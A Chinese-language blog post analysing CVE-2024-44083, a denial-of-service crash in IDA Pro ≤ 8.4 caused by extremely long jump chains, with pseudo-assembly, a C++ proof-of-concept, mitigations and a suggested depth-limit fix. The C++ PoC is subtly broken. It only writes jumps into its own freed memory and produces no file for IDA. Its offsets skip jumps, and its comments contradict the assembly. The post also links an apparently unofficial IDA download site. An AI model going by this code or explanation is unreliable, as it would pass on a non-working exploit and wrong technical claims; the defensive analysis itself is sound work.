IDA Pro跳转链资源耗尽漏洞(CVE-2024-44083)技术分析与PoC实现

本文详细分析了IDA Pro ≤ 8.4版本中ida64.dll组件因未限制跳转链深度而导致的资源耗尽漏洞(CVE-2024-44083)。通过PoC代码展示了如何构建超长跳转链触发DoS崩溃,并提供了临时缓解措施和修复建议。

CVE-2024-44083

原始PoC仓库已被删除(github.com/Azvanzed/CVE-2024-44083、github.com/Azvanzed/IdaMeme),因此这里重新发布。考虑到有些人可能想了解其工作原理或测试自己的环境,我决定重建它。

IDA Pro ≤ 8.4版本在分析包含超长跳转链的二进制文件时会崩溃。

漏洞原理

ida64.dll在处理跳转链时没有限制其递归深度。因此,如果二进制文件中包含数千条以入口点结束的链式跳转,IDA就会自行崩溃。

字段
CVE CVE-2024-44083
受影响版本 IDA Pro ≤ 8.4
受影响组件 ida64.dll
CWE CWE-770 (资源耗尽)
影响 崩溃 (拒绝服务)

工作原理

原理很简单:创建一个充满跳转指令的区段,这些跳转会不断跳转到更多跳转指令。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
; 伪代码示例

section .text

; 成千上万个这样的跳转
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... 一直继续 ...
jump_9999:
    jmp payload

payload:
    call _start    ; 这个调用创建了破坏性的交叉引用

_start:
    ; IDA尝试解析所有指向这里的跳转
    ; 嘭!崩溃了
    ret

IDA尝试跟踪并分析所有这些跳转指令,构建交叉引用。当跳转数量足够多时,IDA就会放弃并崩溃。

自行实现(示例)

如果你想用C++实现类似的功能,可以这样做:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <windows.h>
#include <cstring>

// 核心思想是生成大量链式跳转指令
// 这些跳转最终会指向程序的入口点
void generate_jump_chain() {
    // 为跳转链分配可执行内存
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000个跳转 × 5字节 + 额外空间
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // 创建10,000个链式跳转
    for (int i = 0; i < 10000; i++) {
        // 写入JMP rel32指令 (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP操作码
        
        // 计算到下一个跳转的相对偏移(向前5字节)
        int32_t rel = 5;
        
        // 复制4字节的相对偏移
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // 最后一个跳转创建循环引用
    // 跳回5字节形成无限循环
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // 也可以返回一个值使其看起来更真实
    offset += 5;
    code[offset] = 0xC3;  // ret指令
    
    // 这就是使IDA崩溃的模式:
    // 10,000个跳转 → 自引用跳转 → IDA陷入死循环
    // 递归没有深度限制 → 栈溢出 → 崩溃
    
    // 清理内存
    VirtualFree(code, 0, MEM_RELEASE);
}

基本上,你只是编写了一系列链式连接的JMP指令。当IDA尝试智能分析这些指令时,会耗尽栈空间或内存。

修复方案

如果你的IDA版本较旧:

  1. 在打开可疑文件前禁用自动分析

    • 点击工具栏中的黄/绿圆圈图标关闭自动分析
    • 或通过Options → General → Analysis → 取消勾选"Enabled"
    • 先手动查看,如果看起来安全再重新启用
  2. 限制对可疑区段的分析

    • 右键点击区段 → Edit segment
    • 更改区段类型或权限以防止代码分析
    • 如果不需要该区段,直接删除它

Hex-Rays应该做的修复:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// 伪代码

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("跳转链过深。分析停止。");
        return;  // 不要崩溃,直接停止
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

只需要添加一个深度限制,就这么简单。

参考资料

  • NVD漏洞数据库
  • hexrays.su <– 升级你的IDA

免责声明

仅供教育目的,请勿滥用。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计